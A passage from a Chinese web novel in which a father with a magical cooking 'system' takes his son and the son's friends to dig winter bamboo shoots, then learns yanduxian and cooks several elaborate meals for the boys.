他们都去，商时贸觉得自己要是不去倒是显得不合群了，于是微抬下手表示同上。 楚瑾钰这会嘴快喊上朋友，等晚自习回家时面对自家老爸，他却是欲言又止好半天才开口说出自己邀请朋友一起去挖笋的事。 “行啊，人多力量大。” 楚易文倒是不介意他带朋友一起，于是事情就这么说定。 很快就到周六当天，上午八点左右，叶其林三人已经来到楚瑾钰家门口。 “快进来，我爸今早做了蟹黄汤包！” 这口蟹黄汤包楚瑾钰在吃过一次后就念念不忘，但他知道蟹黄汤包做起来有点麻烦，一直没好意思再喊他爸做。 今天之所以能吃上，还是他以自己几个朋友想吃为理由，在周五时跟他爸提出来。 “我说大老远就闻见一股蟹鲜味，原来是蟹黄汤包！”胡一齐说话的功夫口水差点没流下来。 三人跟着楚瑾钰进门，先异口同声打招呼：“叔叔好。” “你们好，洗个手先吃早餐，吃完咱们就可以出发。” 楚易文话落，不用他动手，胡一齐他们几个就特别自觉地进入厨房洗手端早餐。 今天早餐有香气四溢的蟹黄汤包，还有南瓜粥，两样吃食看起来都色香味俱全。 “叔叔，当你儿子也太幸福了！天天能吃到这么美味的早餐！你真的不考虑再多个儿子吗？” 胡一齐望着面前晶莹剔透，隔着皮甚至能看清楚里面汤汁晃动，以及蟹黄颜色的包子，还没吃先滔滔不绝一通嘴甜。 “你爸妈有你这么个嘴甜的儿子才幸福。”楚易文笑着说完，又提醒道，“包子吃的时候小心烫。” “好。”胡一齐答应得很好，可开吃时还是太急，在闻见汤包浓郁的鲜味时都没吹就直接吸了口汤进嘴，尝到鲜味的同时舌尖也被烫到，不过即便如此他也舍不得往外吐。 跟第一次做比起来，经过快两个月的厨艺学习，楚易文这次做的蟹黄汤包在色香味方面都有进步。 他今天做的包子皮明显更薄，韧性也更足些，吃进嘴里薄而柔韧，麦香浓郁。 “哇~叔叔你做的蟹黄汤包简直就是人间美味，好吃到飞起，我这辈子都没吃过这么好吃的汤包！” 胡一齐连烫都顾不上，三下五除二解决完整个包子，吃完边回味嘴里的余味边夸。 叶其林跟着点头：“叔叔你做的汤包真好吃，比我之前在酒店里吃的还要美味。” 商时贸同样很喜欢蟹黄汤包的味道，觉得今天真是来对了。 他将最后一口包子咽下去，开口问：“叔叔，这包子皮也是你自己做的吗？” 得到肯定回答后商时贸夸起来：“你手艺真好，皮擀得那么薄还能带着韧性，馅调得更是香，以前我不是很爱吃蟹，总觉得蟹腥气重，但叔叔你做的这包子，我觉得我能吃好几笼。” “你们爱吃就好。” 没人不喜欢听好话，楚易文自然不例外。而旁边，楚瑾钰见自家老爸被他们哄得眉开眼笑，不由撇撇嘴。 不光蟹黄汤包好吃，南瓜粥更是美味，被煮得浓稠的粥入口香甜，源自于南瓜本身的甜味恰到好处，让人喝完一口想两口。 都说半大小子，吃垮老子。四个小伙子凑在一起，楚易文煮的那一大锅粥和好几笼包子全部被吃光光。 吃饱喝足，胡一齐表情透着满足，同时忍不住卖乖：“叔叔，我们是不是太能吃了？” 都说物以类聚，人以群分。某方面来说，胡一齐他们四个都不是什么乖宝宝，好学生。别看平日里胡一齐总是脸上带着笑，实际上以前读初中时，他可是敢一言不合就拿凳子砸人的。 现在表现得如此乖巧，一方面是因为楚易文是朋友的爸爸，他得尊重，当然更重要的还是为了长久地蹭吃大计。 他跟楚瑾钰本来就玩得特别好，在吃过楚瑾钰爸爸做的饭后，他更是下定决心，要跟楚瑾钰做一辈子的好朋友！ “能吃是福，你们多吃点我才高兴的，没有剩饭多好。”楚易文说完赶紧又问一句，“你们吃饱没？没吃饱的话我再给你们做点。” 看得出来胡一齐他们几个愿意努力的话，还是很容易获得长辈的好感。明明最开始时楚易文还说过让儿子跟他们友尽，现在却是已经用看小辈的心态看他们。 “吃饱了，叔叔你放心，待会去山上，我肯定帮你挖一堆冬笋。”胡一齐倒是有点想再吃点，可惜肚子不争气已经吃不下，于是将话题转移到待会的活动上。 等到一行人出门时，确定楚瑾钰不去副驾坐，胡一齐直接坐进去，嘴里还在不停对楚易文夸着彩虹屁。 后座，楚瑾钰坐在中间，叶其林和商时贸分别坐在他两边。 “不是，就他这张嘴，都快把我爸哄得笑成一朵花了，怎么会跟他爸天天在家吵？” 楚瑾钰望着前排，凑到叶其林耳边跟他小声吐槽。 如果说这个学期前，楚瑾钰跟他爸关系只是不够亲近，那么胡一齐跟他爸就像有仇一样，动不动就会吵起来。 “可能是因为他爸不会做好吃的？”叶其林小声开着玩笑，心里却是知道胡一齐和他爸的矛盾大概还是他爸出轨找小三，把他妈逼走这个原因。 今日天气晴朗，是个适合出门游玩的好时候，楚易文选择挖冬笋的地方是处农家乐。 路上胡一齐嘴巴就没停过，中间叶其林和商时贸时不时插几句话，楚瑾钰则是在他们分享自己在学校的某些糗事时忍不住嚷嚷几句，车上倒是热闹得很。 楚易文通过胡一齐他们对自家儿子在学校的情况了解得更多一些，同时还发现他们现在和那个叫邵言易的同学关系还不错。 一个小时后，车子开到目的地，他们没有在农家乐里闲逛，而是拿上工具直奔山上竹林。 今天是周六，来农家乐里玩的人不少，他们进入竹林时就看到有其他人在挖笋。 “哇，好大的笋！”胡一齐喜欢凑热闹，立刻凑过去看别人挖。 老家后山就有竹林，楚易文挖笋经验还是有一些，加上系统奖励的厨神之眼，他一眼就看出那笋大归大，但十有八九已经有些老了，估计不会太好吃。 “别看了，赶紧找冬笋去。”楚瑾钰见胡一齐站在那不动，伸手把他拉走。 除了楚瑾钰之前在老家有过挖笋经验，叶其林他们都是第一次挖，感觉很是新奇。 看到几个孩子跟出笼的小鸟一样到处乱跑，楚易文边寻找冬笋边开口提醒：“你们就在附近挖，别跑太远，也别一个人行动。” 他话落，胡一齐三人立刻大声表示知道了，在他们的衬托下，楚易文感觉自家那个有点像逆子。 挖笋有种寻宝的感觉，找到笋时很惊喜，等把笋挖出来，更是成就感满满。 “这里有个好大的笋，你们快来！”胡一齐发现笋后立刻呼朋引伴。 叶其林转头扫一眼后道：“哪大了？你看我发现的这个，这才叫大，挖出来绝对能炒一大盘。” 楚瑾钰见他们都找到笋，分别看两眼就笑起来：“就你们找的笋看起来还行，但等把外面笋皮扒了，估计能吃的根本没多少。” 叶其林和胡一齐不信邪，拿着小锄头卖力地挖啊挖，他们力气是不小，不过经验却是不足，最后都把笋给挖断掉。 “你们这么挖，估计能吃的笋更小了。”楚瑾钰说完蹲下来将胡一齐那个笋的外衣剥去，果然最后只剩下比婴儿拳头还小的那么点笋子，不由哈哈笑起来。 “叔叔你看楚瑾钰，他笑话我！”胡一齐拿着自己那个笋去找楚易文告状。 楚易文安慰道：“别听他瞎说，你这笋子切细点，配上五花肉也能炒一盘。” “那怕不是要配一斤五花肉来炒。”楚瑾钰拆台道。 楚易文：“笋子本来就吃油，肉多点炒出来更香。” 说说闹闹间，很快大家挖笋越来越熟练，原本的空竹筐里开始多了一个又一个笋。 “累了就休息一下，喝点水。” 哪怕他们几个都不是小孩子，楚易文还是在挖笋的同时始终用余光关注着他们，毕竟人是他带出来的得负责，可不能让孩子出个什么意外。 在发现这种天气胡一齐都把自己整冒汗了，楚易文赶紧开口提醒他们喝水休息。 “挖笋真好玩，叔叔这些笋到时候要怎么吃？” 趁着休息时间，胡一齐再次凑到楚易文身边来。 “今天我们可能要先在农家乐吃饭，明天你们再来我家吃笋可以吗？” 系统奖励还没给，目前楚易文只会一道五花肉炒笋，以及文思豆腐里用到过冬笋，他想再等等，看挖完笋系统会给什么菜谱。 “明天还可以来你家吃饭？太好了！叔叔你人真好！” 虽然楚瑾钰早就过了三岁，会担心别人跟他抢爸爸的年纪，但看到胡一齐不停给他爸罐迷魂汤，还是有点按捺不住。 他直接走过去将胡一齐拉开，同时嘴里吐槽道：“行了你，再说下去我爸真要收你当儿子了。” “那多好啊，我们就是亲兄弟了。” “忘记你之前喊我义父的事了？按辈分你该喊我爸爷爷。” “你上次不是没应吗？再说……” 两个人拌着嘴，很快又跟叶其林他们凑在一起挖起来。 人多力量大，很快五个人就挖出满满两筐冬笋，同时他们肚子也开始咕咕叫起来。 “爸，还要挖吗？”楚瑾钰感觉手有点酸。 楚易文：“不挖了，走，我们下山去吃饭。” 他说完正要去背竹筐，却被胡一齐他们抢先一步：“叔叔不用你来，你那可是做饭的手，我们抬就好。” 楚易文见他们能抬动，便将工具都接过来，同时在下山时向系统询问奖励。 【叮~挖冬笋任务已完成，恭喜宿主获得食谱——腌笃鲜。】 腌笃鲜是道名菜，在不同地方这道菜有不同的做法，有些地方喜欢用春笋，有些地方则喜欢用冬笋。系统既然要求楚易文挖冬笋，那么大概率给的是冬笋版腌笃鲜做法。 午饭楚易文昨天就提前跟农家乐订好，现在下山直接就可以吃，饭菜上桌后，菜色很有农家特色。 农家一碗香、红烧小杂鱼、煎豆腐、农家烧鸡、蒜香排骨、蒜苗炒肉、冬笋炒腊肉、炒花生米、羊肉汤，菜品很丰盛。 “感觉没有叔叔你做的好吃。”胡一齐刚吃一口就忍不住道。 商时贸赞同地点头：“排骨肉有点老，味道也偏咸，没叔叔你烧的排骨香。” “豆腐也一般，感觉没什么味，还是叔叔你煎的豆腐好吃，外焦里嫩。”叶其林吃口豆腐，感觉味道比食堂的要好吃，但跟叔叔做的没法比。 其实这家农家乐味道还行，不然也不会有那么多人过来，他们主要是吃惯楚易文做的菜，下意识用他那种标准去比。 要知道，楚易文做给自家儿子吃，可不会考虑什么食材成本，都是挑最好的菜买，加上他从系统厨房学到的手艺，不好吃才奇怪。 “挖一上午笋也累了，凑合吃一顿，等明天我再给你们做。”听到孩子们都夸他做的好吃，楚易文心里还是挺有成就感，已经想好明天要大露一手。 几个孩子确实饿了，哪怕嘴上嫌弃菜的味道，还是认真吃起来。只有商时贸嘴巴是真挑剔，他感觉鸡肉不够嫩，鱼肉腥味没除干净，羊肉汤带着若有若无的膻味，于是只挑还算鲜嫩的冬笋配饭吃。 吃饱喝足，下午他们没有继续挖笋，而是先在农家乐里欣赏一下风景，然后陪楚易文钓鱼去。 “哇，叔叔你真厉害，一钓就钓商量那么大条鱼！”胡一齐是真会给情绪价值，明明只是条两三斤的鱼，被他说得像有七八斤一样。 鱼塘附近其他的钓鱼佬听到声音看过来，不羡慕楚易文能钓上鱼，倒是有点羡慕他有那么多小辈陪着一起钓鱼。 “待会我再钓几条，明天给你们做红烧鱼吃。”楚易文笑着道。 “好耶！” 今天这趟农家乐之行，大家都玩得还算高兴，尤其是胡一齐，被楚易文开车送回家时那叫一个依依不舍。 “你跟谁说话说半天？” 胡一齐目送车子开走，听见身后传来问话声时下意识道：“我爸。” “他是你爸那我是谁？”胡父气得想打人。 胡一齐反应过来问话的是他爸，直接一溜烟就往家里跑，压根不给他打自己的机会。 而另一边，楚易文回到家里后先将带回来的冬笋简单处理一下，又把鱼先拿水养起来，随即就回房间洗漱休息去。 他这么早躺上床自然不是为了睡觉，而是开始学习腌笃鲜。 系统厨房内，老爷子还是那张跟别人欠他一百万的严肃讨债脸。楚易文已经学过好多菜，关于食材处理这方面老爷子没再重复教，而是站在旁边看他处理。 直到楚易文将腌笃鲜所需要的咸肉、鲜肉、冬笋等食材全部处理好，他才开始指点具体做法。 楚易文按照他的要求先将咸肉、鲜肉、姜片、葱结等食材放进砂锅中，冷水下锅没过食材，大火煮开后转小火慢炖。 腌笃鲜的“笃”就是小火慢炖的意思，在笃的过程中他时不时撇去汤上浮沫，让汤保持清澈。 随着浓郁肉香从砂锅里源源不断飘出来，楚易文转头看了老爷子一眼，随即将焯过水的冬笋与百叶结下入砂锅。加入冬笋后，随着砂锅里汤咕噜咕噜炖着，笋的清香渐渐与肉鲜味相融合。 如此又笃半个多小时后，香味越发诱人，楚易文闻着喉咙不自觉滚动两下，随即将最后一样莴笋下进去。 由于咸肉本身就带咸味，因此这道菜的最终调味要格外注意，盐不能多放，稍微放多点就容易咸，破坏整道汤的品质。 而楚易文第一锅腌笃鲜炖出来时，火候什么的先不说，调味上就有些没把握好。老爷子连尝都不愿意尝，直接道：“重做。” 楚易文不信邪，拿着碗和勺子亲自品尝起来，鲜肉和咸肉的脂肪与蛋白质被小火笃出来，让汤色看起来呈现微白色，入口咸鲜浓郁。 刚喝时他觉得还不错，汤特别鲜美，然而没等他尝第二口，余味中泛上来的咸味却是有些齁人。 第26章 豆角焖面 楚易文下意识抬眸看向自家老师, 却只得到老爷子一句：“看我干嘛？继续喝啊。” “咳……”楚易文干咳一声清清嗓子，试图辩解，“我刚才根本没放多少盐。” 他刚刚放盐很小心, 只加了小半勺都不到。 “我没提醒过你咸肉本身就有咸味吗？”老爷子轻哼着道。 他确实说了，但楚易文想着处理咸肉时先是浸泡，后又焯水，应该去掉大部分咸味，哪知道它还那么咸。 老爷子从他表情中看出他的想法，忍住拿擀面杖在他脑袋上敲两下把人敲醒的想法，开口说：“动动你的猪脑子, 想也知道，经过小火慢炖，咸肉里的咸味肯定会全被炖出来, 时间炖得越长汤里咸味越足，你不先尝一口就敢加盐，真是朽木不可雕也！” 人在尴尬的时候就会很忙, 比如楚易文，他想着想着好不容易炖出来的, 别浪费，于是开始往汤里加热水。 汤咸了加热水问题不大，最多会把鲜味冲淡些。如果是正常在家里这么干，没人会觉得有什么。 不过老爷子看到他这咸了加水的动作, 却是被气得吹胡子瞪眼。 “我是这么教你的吗？” 被老爷子这么一吼，楚易文倒是想起来他之前确实教过，说补救咸汤可以先加少量糖试试，或者可以用根茎类蔬菜，比如土豆放到汤里吸收盐味, 再及时将它捞起来。 “这不是我自己喝嘛，就没想那么多。” 楚易文说完赶紧端起碗就喝，想着俗语有云“雷公不打吃饭人”，他在吃东西时可不能继续骂他了。 可能是从小在村里长大，知道粮食种植有多不容易，他见不得食物浪费。哪怕是在系统厨房，他每次都会解决掉自己做出来的食物。 老爷子对菜的色香味要求虽高，不符合标准的菜连尝都不愿意，但看到他每次都会把做出来的菜吃干净，心里其实有些欣赏。 将一锅腌笃鲜吃完，楚易文不用老爷子开口就重新取食材开始第二次尝试。一回生二回熟，这次他处理食材时明显更加熟练，等将食材依次下锅时，对火候和时间的把握也更加自信。 随着砂锅里食材被笃得咕噜噜冒泡，肉香、笋香伴随热气源源不断飘出来，香气四溢。 吃一堑长一智，这次楚易文学聪明了，先拿小碗装一点点汤细细品尝，直到确定稍微有一丢丢淡，才少少加点盐进去。 加完盐他再次品尝，自我感觉差不多，于是重新拿个碗开始盛汤。砂锅中汤已经被炖成微白色，汤内卧着深粉色咸肉、浅粉色鲜肉，浅黄色冬笋、碧绿色莴笋、米黄色百叶结，几种颜色搭配起来，卖相十足。 楚易文盛好汤试着递出去：“老师，给。”他心里有些忐忑，有点读书时被老师提问，说出答案后等结果的心情。 老爷子视线落在那碗腌笃鲜上，停留大概三秒才伸手接过来，品尝两口后道：“你口味怎么比我这个老年人还重？你觉得刚刚那点盐有必要加吗？还有冬笋……” 这次他倒是没再骂人，而是点评完腌笃鲜的不足之处后示意楚易文再去做一份。 其实最开始时跟老爷子学厨艺时，楚易文感觉他实在太严厉，不过随着每次他在现实中随便做个菜就能让儿子吃得喷香，他又觉得老爷子要求严格不是坏事。 如此又连续炖出几锅腌笃鲜，楚易文手艺越来越熟练的同时，终于达到老爷子的要求。 “老……” 就在楚易文想问问老爷子，他能不能在系统厨房内练习一下其他菜时，人已经回到现实。 不是，系统你好歹等我把话说完啊！你一个厨神培训系统，光教菜有什么用？练习也该跟上，我觉得从厨房离开的时间应该我自己说了算。 【叮~宿主是否要进入你的小饭馆？】 嗯？ 发现系统竟然有反应，楚易文有点疑惑小饭馆是什么，犹豫两秒后还是选择进入。 小饭馆还真是字面上的意思，只有一个大堂连着个厨房，大堂内有五张方桌，厨房内则是麻雀虽小五脏俱全，各种厨具、食材应有尽有。 就在楚易文打量着小厨房，猜测或许这里就是给他练习手艺的地方时，忽然响起声语音播报【顾客下单红烧排骨，请尽快出菜。】 顾客？什么顾客？ 楚易文诧异地走到厨房门口，结果就看到原本摆着几张桌子的大堂内还真坐着个人。 发现练习模式变成经营模式，他带着几分惊讶几分惊奇在厨房内挑选食材，由于红烧排骨他经常做，很快锅里就飘出排骨特有的香气。 等到红亮油润的红烧排骨出锅，上菜后得到顾客满意的评价，楚易文此时还感觉挺不错，然而十几分钟后，随着语音播报出一道道菜，以及时不时地催菜提醒，让他瞬间就忙碌起来。 其实忙碌倒是还好，更坑爹的是语音播报出来的菜品，有些他并没有学过。本来楚易文是准备忽略自己不会的菜，谁知外面坐着的顾客等久了竟然会骂人，而且骂得还挺凶。 没办法，楚易文只能根据菜名凭感觉随便做，做出来其实他自我感觉还行，但端出去顾客却是吃一口就吐出来，黑着脸给差评。 发现顾客好评时厨房墙上那个面板只给加一积分，差评却要扣两分，他感觉有点不公平，但由于语音播报声音响个不停，他暂时没空纠结，赶紧跑回厨房内继续做菜。 【顾客下单栗子烧鸡，请尽快出菜。】 【酸萝卜老鸭汤即将超时，请尽快出菜。】 【顾客下单……】 楚易文又赶着做出几道菜后，感觉催得他头有点大，赶紧在心里喊着退出。好在小饭馆和系统厨房不同，他可以选择自由退出，他躺在床上睁开眼，不由长松一口气。 说实话，他之前特意去网上找了几篇系统文，对比过后总感觉自己这个系统像是损坏版。经过刚刚那个小厨房模式，他更加确定自己之前的猜测，毕竟假如“小厨房”是个经营模拟小游戏的话，那么出现玩家没学过的菜肴，明显不合理。 系统，小厨房积分有什么用？ 虽然刚刚在小厨房内一通操作猛如虎，最终积分是负五。但楚易文还是想知道积分到底有什么用，如果没用，那他就直接摆烂，把小厨房当个练习做菜的地方就行。 他连着询问好几遍，终于将系统喊出来，告诉他积分可以兑换食材和抽奖。 在刚得到系统时，楚易文新手奖励获取了做蟹黄汤包的全部食材，不得不说，系统奖励的食材品质特别好，那小袋面粉用完，他在外面想买类似的都没找到。 感觉积分还有点用，楚易文觉得那以后还是得努力些，尽量多解锁些菜谱。 他心里盘算着有的没的，很快就进入梦乡。可能是在小饭馆里那通忙活有点消耗精力，他睡得很沉，一夜好眠后，次日醒得很早。 厨房里还有点新鲜豆角，楚易文觉得早餐可以做个豆角焖面，再打个豆浆。 他先熟门熟路翻出面粉将手擀面做好，随即才开始切豆角，切肉。肉是稍微带点肥的猪梅花肉，切成丝往锅里稍微煸炒几下油脂就出来，加入料酒去腥后，飘出来的香味只余肉鲜。 他儿子爱吃辣，因此他在下入姜和蒜时顺带放了些干辣椒，将香味爆出来的瞬间，豆角放进去转中大火不停翻炒。 随着豆角被炒断生，表皮微微皱起时，楚易文将生抽、老抽、白糖、五香粉等调料依次加入。随着肉丝和豆角被炒上酱色，他将提前准备好的鸡汤倒入锅中，略煮一会后盛碗汤出来备用，再把手擀面均匀地铺在锅里。 鸡汤是他昨晚提前炖的，倒并不是为了来做焖面，而是为中午的文思豆腐准备的。 盖上锅盖用小火慢慢焖着面，楚易文转身将破壁机里打好的豆浆倒出来装进保温壶中。 趁着焖面的功夫，他顺便拿出手机在便签中记录着待会出门要买的菜，等他把食材写得差不多时，厨房里已经飘满豆角焖面特有的香味。肉香混着豆角香，以及手擀面浓郁的麦香，锅盖还没掀开以及能香死个人。 此时面还没有完成，楚易文掀开锅盖将刚才盛出来备用的那碗汤淋上去，重新盖上盖继续焖。 小火继续焖制七八分钟，在听见锅底隐约传来噼啪声时，楚易文将锅盖掀开，里面汤汁果然已经被焖干。 其实此时可以加点生蒜末来增加香味，毕竟有吃面不吃蒜，香味少一半的说法。但他儿子不爱吃生蒜，他就没放，只往锅里点了些从老家带的香油增香。 在香油浓郁的香气被高温激发出来时，楚易文趁热将面条与底下肉丝、豆角翻动均匀，保证每根面条都裹上酱汁，看起来色泽油润诱人。 早餐做好见儿子还没起床，楚易文犹豫两秒，想着昨天挖笋挺累人，周末多睡会问题不大，便没叫他起床，而是把早餐温在锅里，自己简单吃点就出门买菜去。 他走后大概过了半个多小时楚瑾钰才醒，在床上赖了会，直到感觉肚子有些饿才起床。 “爸，今天早餐吃什么？” 他从房间里出来时，空气中还漂浮着隐约的香味，他在客厅和厨房转了一圈才发现他爸不在，不过厨房里留了早餐。 豆角焖面卖相诱人，根根分明的面条中夹杂着酱褐色肉丝，深绿色豆角，楚瑾钰光是看到食欲就瞬间上来。 他盛好一盘面，又倒杯豆浆端到餐桌，刚准备开吃，门铃声忽然响起来。 家里是智能门锁，楚瑾钰有点疑惑他爸干嘛不自己开门，等走到大门外，通过可视门铃才发现原来不是他爸，而是胡一齐他们几个。 “你们怎么来这么早？”他下意识打开门，不过很快反应过来什么，心里暗叫一声“坏了”，随即撒腿就往餐厅跑。 看到他跑，胡一齐下意识就追上去，发现餐桌上那份色香味俱全的面条时，抓起筷子就开吃。 “你有没有搞错？这是我的早餐！”楚瑾钰就知道会这样，觉得自己刚刚就不该手那么快地给他们开门。 手擀面弹牙又筋道，吸收所有食材以及汤汁的精华，吃起来酱香浓郁，既带上肉鲜味，又沾染豆角特有的清香。油润却不油腻的面条吃起来特别有滋味，单吃很香，配上豆角或者肉丝来上一口，更是感觉这辈子都值了。 胡一齐吃得眼睛都眯起来，压根顾不上楚瑾钰在说什么。 楚瑾钰正试图从他手里抢回早餐，结果转头就看见叶其林和商时贸竟然从厨房里端着两碗面出来，大早上的气得有点想骂人。 “你们是强盗吗？” 叶其林享受地吃着格外美味的面条，压根顾不上理他，至于商时贸，他咽下嘴里香喷喷的面条说：“还给你留了点，你再不吃真没有了。” “我就不该给你们开门，不对啊，我家小区有门禁，你们怎么进的小区大门？”楚瑾钰说完人已经走到厨房，发现所谓的给他留了点就是五六根面条配上三根豆角两条肉丝后，直接端着碗出来抢食。 四个人吃个早餐跟打仗一样，你抢我我抢你，这会商时贸那挑剔的毛病都没有了，竟然也跟着抢得起劲，到最后谁都没吃饱。 楚易文其实留的面并不少，但他哪知道今天早上叶其林几人会过来，毕竟说好的是一起过来吃午饭。 “你爸做的面真好吃，筋道就算了，还那么入味，太好吃了。”胡一齐坐在餐桌前喝豆浆时，还忍不住回味刚刚吃的焖面，感觉面好吃，里面配菜更是香，尤其是肉丝，咸香软嫩，边缘处则带着点焦香。 “早知道我就该吃完再给你们开门。” 楚瑾钰想到本来那么多面都是自己的，结果一失手成千古恨，后悔死给他们开门。 “你说你那么小气干嘛？你爸做的面你在家天天吃，和我们分享一下怎么了。” “谁天天吃的，我爸又不是天天做面，他昨天早上做的蟹黄汤包，前天做的鸡蛋饼，再前天……” 胡一齐：“别说了，我感觉你在凡尔赛。” 打闹过后，楚瑾钰还是挺有东道主的风范，知道他们都没吃饱，将家里零食和水果都翻出来放到茶几上。 “吃啊，刚刚跟我抢成那样，现在假客气什么。”楚瑾钰指着零食说。 “不吃，我要留着肚子等中午的好吃的。”胡一齐说完才想起来问，“叔叔人呢？” “估计买菜去了。”楚瑾钰猜测。 四个人把早餐吃的碗盘丢进洗碗机里后也没其他事干，于是坐在沙发上一起开黑打游戏。 等到楚易文回来时，刚开门就听见家里热闹得不行，他还没来得及开口说话，就见胡一齐丢下手机冲过来。 “叔叔我来帮你提！” 楚瑾钰见胡一齐游戏都不打了就跑过去接他爸手里的菜，觉得这家伙也太狗腿子了。 “不用，你们玩去吧。” 都已经到家里，几步路的功夫楚易文还不至于需要人帮忙拎东西。 “叔叔，你早上做的面太好吃了，特别香，好吃到我差点咬到舌头。” 胡一齐见他不让帮忙，重新拿起手机打游戏的同时嘴巴也没闲着。 他不提早餐还好，一提楚瑾钰立刻开口告状：“爸你是不知道，他们几个抢我早餐吃！” “不知道你们会来那么早，不然我就多做点早餐。”楚易文以为昨天干了体力活，几个孩子会像自家儿子一样睡懒觉。 “叔叔你别听楚瑾钰瞎说，我们没抢，就是尝了点他的早餐。”胡一齐睁着眼睛说瞎话。 楚瑾钰：“一尝尝走大半盘那种吗？” 两个人拌嘴时，手里这局游戏结束，四人很有默契地没有再开游戏，而是走到厨房里看有没有什么需要帮忙的地方。 楚易文想到平常做饭时，他家儿子很少会想到进来帮忙，见几个孩子都挺积极，便将剥笋皮剥蒜的活交给他们。 今天这顿饭主要是为了品尝昨天大家挖的冬笋，因此腌笃鲜肯定少不了，另外他准备再做个文思豆腐、冬笋炒五花肉。带冬笋的菜就这三个，另外再来道红烧鱼、蜜汁鸡翅、孜然牛肉、手撕包菜、辣椒炒蛋，以及他儿子爱吃的薯粉团。 叶其林他们忙着剥笋剥蒜时，楚易文已经开始处理买回来的咸肉、腊肉以及昨天钓的那几条鱼。 时间差不多时，他先将鲜肉焯水去腥，再将泡在水里的咸肉捞出来进行焯水，两种肉全部焯好水就可以加姜片葱结一起放入砂锅中先炖上。 砂锅里的肉得小火炖一个小时左右，这个时间楚易文没闲着，将几个孩子剥出来的冬笋一部分切滚刀块，一部分切片，还有一部分切细丝。 “哇——” 在看到楚易文将冬笋切成和头发丝差不多的细丝时，胡一齐下意识屏住呼吸，直到他切完才敢发出惊呼。 叶其林也被他这手刀工给震惊道：“叔叔你太厉害了！” “感觉五星级大厨都不一定有叔叔你这个刀工。”商时贸真心夸赞。 别说他们，就连楚瑾钰都有些震惊，没想到他爸刀工竟然这么厉害。 几个孩子那敬佩的眼神让楚易文很是受用，忍不住炫起技来。当然，炫技这种事成功了面上有光，要是翻车了就很尴尬，因此他注意力很是集中。 在看到他开始切豆腐时，前面叶其林他们还没多想，在感觉有些不对时，胡一齐最先举起手机开始拍。 横切八十八刀，竖切一百八十八刀，整体还算完美地将豆腐切完，楚易文暗暗吐出口气，将切好的豆腐先放入沸水中加盐焯十秒去腥，再捞出来放入凉水中备用。 “哇！好细的豆腐丝！” 在凑近看到凉水盆中细如发丝，根根分明的豆腐时，胡一齐觉得这简直是艺术。 “叔叔，你是不是要做文思豆腐？”商时贸看着那细得能穿进针里的豆腐，想起一道菜。 楚易文点头：“对，你吃过文思豆腐？” “没，我只吃过根据文思豆腐改版的菊花豆腐，不过没叔叔你切得那么细。”商时贸说着说着心里已经期待起来。 胡一齐这个吃货听到自己没吃过的菜，立刻好奇起来：“菊花豆腐好吃吗？是什么味道？” “还可以，就是把豆腐切成菊花的形状，再配上高汤，主要就是吃个高汤的鲜和豆腐的嫩……” 商时贸在跟好朋友们描述菊花豆腐时，旁边楚易文已经掀开砂锅，将滚刀块的冬笋和百叶结下去汤中，没多久肉鲜味混着笋特有的清香，以及百叶结的豆香伴随热气从砂锅的排气孔里源源不断飘出，简直能馋死个人。 这还不算完，随着楚易文在旁边的灶台开始煎鱼做红烧鱼时，厨房里又多出浓郁的鱼鲜味。 “好香啊！我口水都快下来了……”胡一齐闻着厨房里诱人的香气，不夸张地说，感觉嘴巴要是多张开一会，口水真能顺着嘴角流出来。 叶其林和商时贸比他稍微好一点，但视线也都落在砂锅上，已经有些迫不及待想品尝。 腌笃鲜菜如其名，随着笃的时间越长，鲜味更加浓郁，别说他们三，就连楚瑾钰这个天天在家吃他爸做饭的人都有些受不了。 四个孩子明明被馋得不行，偏偏还舍不得从厨房离开，看得楚易文有些好笑。 等到红烧鱼出锅时，他特意拿碗夹了点出来，让他们尝尝味，顺便解解馋。 “叔叔你烧的鱼真好吃，我就喜欢这种表皮焦焦的，里面鱼肉又嫩又入味的鱼。” 胡一齐话落，商时贸接着道：“叔叔你做的鱼一点都不腥，不像学校食堂的鱼，有时候连鱼鳞都没刮干净，吃起来腥味根本压不住。” 楚易文想到自家儿子之前也说过食堂难吃，现在听到他说鱼鳞都没刮干净，觉得怪不得孩子们都不爱吃食堂。 第27章 板栗烧排骨 中午这些菜只有腌笃鲜最废时间, 其他菜很快就一道接一道出锅。在楚易文忙碌过程中，楚瑾钰他们四个闻着阵阵香味，压根走不出厨房。 四人中就数胡一齐最兴奋, 楚易文颠锅他鼓掌，楚易文炒菜他夸夸夸，简直像个彩虹屁机器。 他嘴巴那么甜，叶其林和商时贸不想被比下去，于是跟着夸起来，一时间倒是把楚瑾钰衬托得跟他们有些格格不入。 楚易文感觉自己炒个菜像是自带啦啦队一样，差点被自己这想法给逗笑, 在冬笋炒肉出锅后直接夹出一碗去堵他们的嘴，让他们能安静会。 “哇！太好吃了！又鲜又嫩，不愧是我们挖的笋！” 和春笋比起来, 冬笋口感更细腻，笋子余味带着股清甜，配上五花肉一起炒, 鲜嫩回甘，简直不要太好吃。 自己的劳动成果本来就有美味加成, 胡一齐四人吃着刚出锅的冬笋炒五花肉，香得摇头晃脑，甚至抢起最后一口来。 在热闹的氛围下，楚易文终于开始做文思豆腐, 刚刚豆腐已经切好并焯水放在冷水中备用，现在只需要蒸煮与调汤就好。 提前准备的鸡汤拿出来，用一部分汤加入香菇丝先蒸一会提鲜，蒸好的鸡汤倒进碗中打底。锅中倒入鸡汤，加冬笋丝、火腿丝、生菜丝等配菜煮沸后加盐调味, 依次倒进刚刚有香菇鸡汤的几个碗中。 胡一齐在看到他第三次把鸡汤倒入锅中时，感觉还挺麻烦：“叔叔，这是在做文思豆腐吗？” “对，再把豆腐用鸡汤汆一下就好了。”楚易文说话的同时将鸡汤煮沸，再把切好的豆腐丝放进入煮，十秒后就赶紧捞出来。 胡一齐不懂就问：“汆是什么意思？” “就是把食材在沸水中稍微煮一下。”楚易文将汆好的豆腐丝分别加在五个碗内的配菜上，色香味俱全的文思豆腐就做好。 根根分明的豆腐丝漂浮在清澈的鸡汤上，如云雾缭绕般，底下则透出火腿丝的红色，香菇丝的褐色，生菜丝的绿色，冬笋丝的微白，看起来美得像是艺术。 “哇~”胡一齐望着面前的菜，拖长声音发出惊叹，觉得这道菜美得像是一幅画，好看到他都舍不得吃。 “拉倒吧，就你还舍不得吃，待会肯定是你第一个忍不住吃。”楚瑾钰拆台道。 文思豆腐做好时，旁边砂锅里的腌笃鲜也很快炖好，伴随锅盖被掀开，那浓郁的鲜味简直令人飘飘欲仙。 胡一齐感觉自己眼睛和鼻子都有点不够用，只觉得厨房内每道菜都特别诱人。 